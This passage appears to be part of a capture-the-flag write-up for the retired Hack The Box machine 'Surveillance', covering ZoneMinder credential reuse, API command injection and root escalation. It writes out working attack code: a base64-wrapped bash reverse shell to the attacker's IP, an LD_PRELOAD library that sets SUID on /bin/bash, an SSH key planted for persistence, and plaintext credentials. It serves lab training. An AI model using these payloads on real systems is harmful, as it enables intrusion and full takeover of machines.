While this session remained open, the browser and `curl` could access the internal service through:

```
http://127.0.0.1:8082/
```

Headers and HTML from the root page were captured:

```
curl -i http://127.0.0.1:8082/ | tee scans/zoneminder_root_headers.txt
curl -sS -L http://127.0.0.1:8082/ -o scans/zoneminder_root.html

grep -RniE 'zoneminder|zm|login|version|1\.36\.32|csrf|token' \
  scans/zoneminder_root_headers.txt scans/zoneminder_root.html
```

The response confirmed that the internal service was ZoneMinder and presented a login page:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Set-Cookie: ZMSESSID=...
<title>ZM - Login</title>
```

The authentication form and a dynamically generated CSRF token were also observed:

```
ZoneMinder Login
<input type='hidden' name='__csrf_magic' value="key:8990c59f534cf2e7547f8a9eeffdc069128d98fa,1778925182" />
<input type="hidden" name="action" value="login"/>
```

Using the reused credentials, access was obtained to the console:

```
admin : starcraft122490
```

In the web interface, the session as `admin` and the version were observed:

```
ZoneMinder Console
account_circle admin
v1.36.32
```

Interpretation

The password recovered from Craft CMS was not only valid for SSH as `matthew`, but also for the ZoneMinder `admin` account. This reuse allowed accessing an internal application with administrative functionality.

Version `1.36.32` points the next phase toward the ZoneMinder API and its daemon control endpoints.

Authentication against the ZoneMinder API

After confirming web access, authentication against the API was validated because the later exploitation depended on JSON endpoints.

From the attacker machine, with the tunnel active, a login request was sent:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance
mkdir -p scans loot

curl -sS -X POST \
  -d "user=admin&pass=starcraft122490" \
  "http://127.0.0.1:8082/api/host/login.json" \
  | tee scans/zoneminder_api_login.json
```

The response returned an access token, a refresh token, the ZoneMinder version, and the API version:

```
{
```

```
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",
  "access_token_expires": 7200,
  "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",
  "refresh_token_expires": 86400,
  "credentials": "auth=",
  "append_password": 0,
  "version": "1.36.32",
  "apiversion": "2.0"
}
```

To work reproducibly, the JSON was formatted and key fields were saved in auxiliary files:

```
python3 -m json.tool scans/zoneminder_api_login.json | tee scans/zoneminder_api_login_pretty.json
```

```
python3 - <<'PY'
import json
from pathlib import Path

data = json.loads(Path("scans/zoneminder_api_login.json").read_text())
Path("loot/zoneminder_access_token.txt").write_text(data.get("access_token", "") + "\n")
Path("loot/zoneminder_version.txt").write_text(data.get("version", "") + "\n")
Path("loot/zoneminder_apiversion.txt").write_text(data.get("apiversion", "") + "\n")

print("access_token_saved=", bool(data.get("access_token")))
print("version=", data.get("version"))
print("apiversion=", data.get("apiversion"))
PY
```

Relevant output:

```
access_token_saved= True
version= 1.36.32
apiversion= 2.0
```

Reading the result

The API confirmed valid authentication as `admin`. The access token allowed interacting with internal endpoints without depending on the browser session. This separation improves exploitation reproducibility and allows saving evidence in `scans/` and `loot/`.

Authenticated remote execution in ZoneMinder

With a valid token, a reverse shell was prepared against the daemon control endpoint:

```
/api/host/daemonControl/zmdc.pl/<command>.json
```

The payload was built dynamically using the `tun0` VPN interface IP, encoding it in base64 and then URL-encoding it to insert it into the path:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

TOKEN="$(tr -d '\n' < loot/zoneminder_access_token.txt)"
LHOST="$(ip -o -4 addr show tun0 | awk '{print $4}' | cut -d/ -f1)"
LPORT="4445"

REV="bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
B64="$(printf '%s' "$REV" | base64 -w0)"
INJECT="\$(echo ${B64}|base64 -d|bash)"
ENCODED="$(python3 -c 'import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1], safe=""))' "$INJECT")"

echo "[*] LHOST=$LHOST"
echo "[*] LPORT=$LPORT"
echo "[*] Payload base64=$B64"
```

```
curl -sS \
  "http://127.0.0.1:8082/api/host/daemonControl/zmdc.pl/${ENCODED}.json?token=${TOKEN}" \
  | tee scans/zoneminder_rce_trigger_response.json
```

During this execution, a local incident appeared when trying to read the token file:

```
preexec: no existe el fichero o el directorio: loot/zoneminder_access_token.txt
```

However, the request reached the vulnerable endpoint and the server returned a `504 Gateway Time-out`, compatible with execution blocked by the reverse shell:

```
[*] LHOST=10.10.15.26
[*] LPORT=4445
[*] Payload base64=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNi80NDQ1IDA+JjE=

<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
```

In parallel, a listener was kept:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

nc -lvnp 4445 | tee scans/revshell_zoneminder_nc.txt
```

The incoming connection confirmed execution as `zoneminder`:

```
listening on [any] 4445 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.230.42] 52258
bash: cannot set terminal process group (998): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www/api/app/webroot$
```

The context was validated:

```
id
whoami
hostname
pwd
```

Relevant output:

```
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
zoneminder
surveillance
/usr/share/zoneminder/www/api/app/webroot
```

The shell was minimally stabilized:

```
script /dev/null -c bash
export TERM=xterm
stty rows 40 columns 120
```

And the initial directory was reviewed:

```
ls -la
```

Relevant output:

```
drwxr-xr-x  4 root zoneminder 4096 Oct 17  2023 .
drwxr-xr-x 10 root zoneminder 4096 Oct 17  2023 ..
drwxr-xr-x  2 root zoneminder 4096 Oct 17  2023 css
-rw-r--r--  1 root zoneminder 3744 Nov 18  2022 index.php
```

```
-rw-r--r--  1 root zoneminder 3584 Nov 18  2022 test.php
```

Interpretation

The `daemonControl` endpoint allowed lateral movement from `matthew` to the `zoneminder` service user. The determining evidence was not the `504`, but the received connection and the `uid=1001(zoneminder)` context.

This phase prepares local escalation, because `zoneminder` has specific permissions associated with ZoneMinder scripts.

Stabilizing access as `zoneminder`

During the escalation phase, an SSH key was generated to avoid depending on an uncomfortable reverse shell with duplicated echo. On the attacker machine, a key pair was created:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance
ssh-keygen -t ed25519 -f zoneminder_ed25519 -N ''
```

The generated public key was:

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5OML1B2NU1dPcBPxOkeLCG232JOtAIgkDayYeVe46y r4mon@parrot
```

From the shell as `zoneminder`, it was added to `authorized_keys`:

```
mkdir -p ~/.ssh && chmod 700 ~/.ssh && echo 'ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIK5OML1B2NU1dPcBPxOkeLCG232JOtAIgkDayYeVe46y r4mon@parrot' >> ~/.ssh/authorized_keys &&
chmod 600 ~/.ssh/authorized_keys
```

The last line was verified:

```
tail -n 1 ~/.ssh/authorized_keys
```

Output:

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5OML1B2NU1dPcBPxOkeLCG232JOtAIgkDayYeVe46y r4mon@parrot
```

Then access was obtained over SSH as `zoneminder`:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance
ssh -i zoneminder_ed25519 zoneminder@surveillance.htb
```

The stable session allowed continuing the escalation with less noise:

```
id
whoami
pwd
```

Relevant output:

```
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)
zoneminder
/home/zoneminder
```

Stability lesson

This stabilization is not essential for the vulnerability, but it does improve work quality. A stable shell reduces copy errors, avoids terminal problems, and makes it easier to distinguish real failures from failures caused by the shell interface.

Privilege enumeration as `zoneminder`

The first local check was `sudo -l`, because it allows identifying commands executable with elevated privileges:

```
sudo -l
```

Output:

```
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
```

The critical part is:

```
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
```

Its interpretation:

Element	Meaning
`(ALL : ALL)`	It can run as any user and group
`NOPASSWD`	It does not require a password
`/usr/bin/zm[a-zA-Z]*.pl`	Allows ZoneMinder Perl scripts under `/usr/bin`
`*`	Allows additional arguments

The scripts that matched the pattern were listed:

```
ls -al /usr/bin/zm*.pl 2>/dev/null
```

Relevant output:

```
-rwxr-xr-x 1 root root 43027 Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 12939 Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root  6043 Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 26232 Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 35206 Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 13994 Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 45421 Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root  7022 Nov 23  2022 /usr/bin/zmwatch.pl
```

Existing SUID binaries were also reviewed:

```
find / -perm -4000 -type f 2>/dev/null
```

Relevant output:

```
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/newgrp
```

No `/bin/bash` with SUID nor any obvious anomalous binary appeared. Therefore, escalation should not be sought in a pre-existing SUID, but in the `sudo` rule over ZoneMinder scripts.

Validation of `zmdc.pl` and the `ZM_LD_PRELOAD` option

Among the allowed scripts, `zmdc.pl` was especially interesting because it controls ZoneMinder daemons. First, its usage was reviewed:

```
sudo zmdc.pl 2>&1 | tee /tmp/zmdc_usage.txt
```

Output:

```
No command given
Usage:
    zmdc.pl {command} [daemon [options]]

Options:
    {command} - One of 'startup|shutdown|status|check|logrot' or
    'start|stop|restart|reload|version'. [daemon [options]] - Daemon name
    and options, required for second group of commands
```

A status query showed that the script tries to use the ZoneMinder control socket:

```
sudo zmdc.pl status zmdc 2>&1 | tee /tmp/zmdc_status_zmdc.txt
```

Output:

```
Unable to connect to server using socket at /run/zm/zmdc.sock
```

Then the authenticated ZoneMinder web interface was reviewed at:

```
http://127.0.0.1:8082/?view=options&tab=config
```

In `Options -> Config`, the `ZM_LD_PRELOAD` option was located. HTML inspection showed the editable field:

```
<label class="col-md-4 control-label text-md-right" for="ZM_LD_PRELOAD">ZM_LD_PRELOAD</label>
<input id="ZM_LD_PRELOAD" class="form-control-sm" type="text" name="newConfig[ZM_LD_PRELOAD]" value="">
```

The combination of evidence was significant:

- `zoneminder` could run `zm*.pl` scripts as `root` without a password.
- `zmdc.pl` controls ZoneMinder daemons.
- ZoneMinder allows defining `ZM_LD_PRELOAD`.
- `ZM_LD_PRELOAD` accepts a shared library path.
- If `zmdc.pl` takes that option and turns it into `LD_PRELOAD`, a controlled library could be loaded in a privileged context.

Privilege escalation through `ZM_LD_PRELOAD` and `zmdc.pl`

The `zmdc.pl` code was reviewed to confirm that it takes `ZM_LD_PRELOAD` and assigns it to `LD_PRELOAD`:

```
grep -nEi 'LD_PRELOAD|ZM_LD_PRELOAD|preload|exec|daemon|zmc' /usr/bin/zmdc.pl | head -n 80
```

Relevant fragment:

```
82:if ( $Config{ZM_LD_PRELOAD} ) {
83:  Debug("Adding ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD}");
84:  $ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD};
...
514:    exec($daemon, @good_args) or Fatal("Can't exec: $!");
```

The option definition was also located in `ConfigData.pm`:

```
sed -n '1860,1890p' /usr/share/perl5/ZoneMinder/ConfigData.pm
```

Relevant fragment:

```
{
  name          =>  'ZM_LD_PRELOAD',
  default       =>  '',
  description   =>  "Path to library to preload before launching daemons",
```

```
  help          => q`
    Some older cameras require the use of the v4l1 compat
    library. This setting allows the setting of the path
    to the library, so that it can be loaded by zmdc.pl
    before launching zmc.
    `,
  type          =>  $types{abs_path},
  category      =>  'config',
},
```

The shared library was prepared to execute `chmod u+s /bin/bash` when loaded. Initially, an attempt was made to compile it on the target, but it failed because `ld` was missing:

```
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
```

Output:

```
collect2: fatal error: cannot find 'ld'
compilation terminated.
```

For that reason, it was compiled on Parrot. The source was created:

```
cd /home/r4mon/pentest/targets/HTB/medium/Surveillance

cat > shell.c <<'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("chmod u+s /bin/bash");
}
EOF
```

The shared library was compiled:

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

And it was verified:

```
ls -la shell.c shell.so && file shell.so
```

Relevant output:

```
-rw-r--r-- r4mon r4mon 193 B  Sat May 16 18:14:02 2026 shell.c
-rwxr-xr-x r4mon r4mon 14 KB  Sat May 16 18:14:33 2026 shell.so
shell.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
```

It was then transferred to the target using the `matthew` account:

```
scp shell.so matthew@surveillance.htb:/tmp/shell.so
```

Relevant output:

```
shell.so  100%   14KB  83.9KB/s   00:00
```

From the SSH session as `zoneminder`, the library was verified:

```
ls -la /tmp/shell.so && file /tmp/shell.so
```

Relevant output:

```
-rwxr-xr-x 1 matthew matthew 14152 May 16 16:19 /tmp/shell.so
/tmp/shell.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
```

`ZM_LD_PRELOAD` was set in the database and verified both in MariaDB and in the ZoneMinder Perl module:

```
mysql -uzmuser -pZoneMinderPassword2023 zm \
  -e "UPDATE Config SET Value='/tmp/shell.so' WHERE Name='ZM_LD_PRELOAD'; SELECT Id,Name,Value,LENGTH(Value) FROM
Config WHERE Name='ZM_LD_PRELOAD';"

perl -MZoneMinder::Config=:all \
  -e 'print "PERL ZM_LD_PRELOAD=[$Config{ZM_LD_PRELOAD}]\n";'

ls -la /bin/bash
```

Relevant output:

```
+-----+---------------+---------------+---------------+
| Id  | Name          | Value         | LENGTH(Value) |
+-----+---------------+---------------+---------------+
| 102 | ZM_LD_PRELOAD | /tmp/shell.so |            13 |
+-----+---------------+---------------+---------------+

PERL ZM_LD_PRELOAD=[/tmp/shell.so]

-rwxr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
```

At that point, `ZM_LD_PRELOAD` was correctly configured and `/bin/bash` did not yet have SUID.

To trigger the library load, `zmdc` was restarted with `sudo`:

```
sudo zmdc.pl shutdown zmdc
```

Output:

```
Server exiting at 26/05/16 16:21:21
Server shutdown at 26/05/16 16:21:21
```

Then it was started again:

```
sudo zmdc.pl startup zmdc
```

Output:

```
Starting server
```

When checking `/bin/bash`, the SUID bit appeared:

```
ls -la /bin/bash
```

Output:

```
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
```

The `s` in the permission block confirms that the binary will run with the EUID of its owner, `root`.

Bash was executed in privileged mode:

```
/bin/bash -p
```

And the context was validated:

```
id
whoami
pwd
```

Output:

```
uid=1001(zoneminder) gid=1001(zoneminder) euid=0(root) groups=1001(zoneminder)
root
/home/zoneminder
```

Interpretation

The escalation occurred due to the combination of two conditions:

1. `zoneminder` could execute `zmdc.pl` as `root` through passwordless `sudo`.
2. ZoneMinder allowed defining `ZM_LD_PRELOAD`, a shared library path that `zmdc.pl` incorporated into the environment as `LD_PRELOAD`.

By pointing that option to a controlled library and restarting `zmdc.pl` with elevated privileges, the library was loaded in a privileged context and modified `/bin/bash` permissions. The subsequent execution of `/bin/bash -p` produced a shell with `euid=0(root)`.

Reading the root flag and final validation

With a privileged shell, `/root` was accessed and the final flag was verified:

```
cd /root && ls -la && wc -c root.txt 2>/dev/null
```

Relevant output:

```
drwx------  7 root root 4096 May 16 09:09 .
-rw-r-----  1 root root   33 May 16 09:09 root.txt
33 root.txt
```

Finally, `root.txt` was read:

```
cat root.txt
```

Output:

```
3e59221452f163cb22110b9547228b8f
```

The platform confirmed the complete resolution:

```
You have solved Surveillance!
Pwn Date: 16 May 2026
Machine State: Retired
XP Earned: 650
```

Result

The machine `Surveillance` was fully compromised. The final route allowed moving from initial Craft CMS exploitation to a shell as `www-data`, recovering credentials from an SQL backup, accessing SSH as `matthew`, pivoting to ZoneMinder through port forwarding, obtaining execution as `zoneminder` from the authenticated API, and escalating privileges to `root` by abusing `ZM_LD_PRELOAD` together with the `sudo` rule over `zm*.pl` scripts.

Final technical summary

The resolution of `Surveillance` followed a multi-layer compromise chain. The external surface seemed reduced —SSH and HTTP—, but the exposed web service provided the first entry point. Identifying Craft CMS 4.4.14 made it possible to orient exploitation toward `CVE-2023-41892`. Before writing a web shell, the primitive was validated with `phpinfo()`, which allowed recovering internal paths, confirming the `DOCUMENT_ROOT`, and obtaining application configuration data.

Writing the web shell did not work on the first attempt. The incident was relevant from a training perspective: not every exploitation failure indicates that the vulnerability does not exist. In this case, the remote primitive had been proven; the problem was in the local transport of the payload, where the attacker shell interpreted special characters. The later use of pure PHP with `file_put_contents()` and `base64_decode()` removed that fragility and allowed obtaining execution as `www-data`.

Local enumeration of Craft CMS revealed an SQL backup under `storage/backups`. That backup contained a SHA-256 hash associated with the administrator user `Matthew B`. Offline cracking with `hashcat` produced

the password `starcraft122490`, which was valid for SSH access as the local user `matthew`. This phase illustrates a frequent pattern: an application backup may contain enough material to break the separation between web layer and operating system.

From `matthew`, enumeration of local services revealed an internal service on `127.0.0.1:8080`, identified as ZoneMinder. SSH port forwarding made it possible to access the application from the attacker machine. The same recovered password was valid for the ZoneMinder `admin` user, which allowed authentication both in the web interface and in the API. The API exposed an authenticated remote execution path through `daemonControl`, which allowed obtaining a shell as `zoneminder`.

The final phase depended on a bad combination of permissions and configuration. The user `zoneminder` could run `zm*.pl` scripts as `root` through passwordless `sudo`. In addition, ZoneMinder allowed configuring `ZM_LD_PRELOAD`, a shared library path that `zmdc.pl` incorporated as `LD_PRELOAD` before launching application components. By pointing that option to a controlled library that executed `chmod u+s /bin/bash`, and restarting `zmdc.pl` with elevated privileges, `/bin/bash` received the SUID bit. The subsequent execution of `/bin/bash -p` provided a shell with `euid=0(root)`.

Reusable lessons

Web enumeration with virtual hosts

An HTTP redirection to a hostname should not be treated as a minor detail. In this machine, `surveillance.htb` was necessary to observe the real application. Comparing access by IP and by hostname allowed detecting the virtual host and justifying the entry in `/etc/hosts`.

Reusable pattern:

```
curl -i http://IP
curl -i http://hostname
```

Validate a primitive before turning it into a shell

Executing `phpinfo()` before writing a web shell was a low-impact, high-value step. It confirmed execution, showed internal paths, and allowed preparing the write phase with greater precision.

Reusable pattern:

1. confirm execution with an innocuous function;
2. extract internal paths;
3. write payload only when the context is clear.

Take care with local quoting

The first attempts to write the web shell failed due to interference from the local shell. When backticks, redirections, quotes, or variables are transported inside HTTP headers, the local interpreter may execute or transform parts of the payload before sending it. Using `file_put_contents()` and `base64_decode()` reduced that fragility.

Application backups as a bridge to the system

The Craft CMS SQL backup was the element that allowed moving from `www-data` to reusable credentials. Enumerating paths such as `storage`, `backups`, `.env`, `.sql`, `.zip`, `.bak`, and `.db` should be part of any web post-exploitation.

```
find . -maxdepth 4 -type f \( -iname "*.zip" -o -iname "*.sql" -o -iname "*.db" -o -iname "*.env" -o -iname "*.bak"
\) 2>/dev/null
```

Do not assume an application credential is a system credential

The password recovered from Craft CMS was validated in an orderly way against SSH and later against ZoneMinder. That sequence avoids premature conclusions and preserves traceability between identities.

Pivoting to localhost changes the surface

The external scan did not show ZoneMinder, but local enumeration as `matthew` revealed `127.0.0.1:8080`. Reviewing internal listeners is a critical phase after the first access.

```
ss -lntp 2>/dev/null || netstat -lntp 2>/dev/null
```

Port forwarding as an analysis tool

The SSH tunnel allowed treating an internal application as a local service on the attacker machine. This made it easier to use the browser, `curl`, save evidence, and work with the API reproducibly.

```
ssh usuario@host -L puerto_local:127.0.0.1:puerto_remoto
```

sudo rules with wildcards require contextual reading

The `sudo` rule did not provide a direct shell. Its impact appeared when relating it to the ZoneMinder ecosystem, specifically with `zmdc.pl` and `ZM_LD_PRELOAD`. In local escalation, the risk of a `sudo` rule depends both on the allowed binary and on the application's configuration and behavior.

LD_PRELOAD as an escalation vector

`LD_PRELOAD` is a legitimate feature of the dynamic linker. In this machine, it became an escalation vector because an application allowed configuring it and a script executable as `root` incorporated it into the environment. The final indicator was clear:

```
-rwsr-xr-x 1 root root ... /bin/bash
```

The `s` in the owner permissions indicates SUID. `/bin/bash -p` preserves the privileged EUID.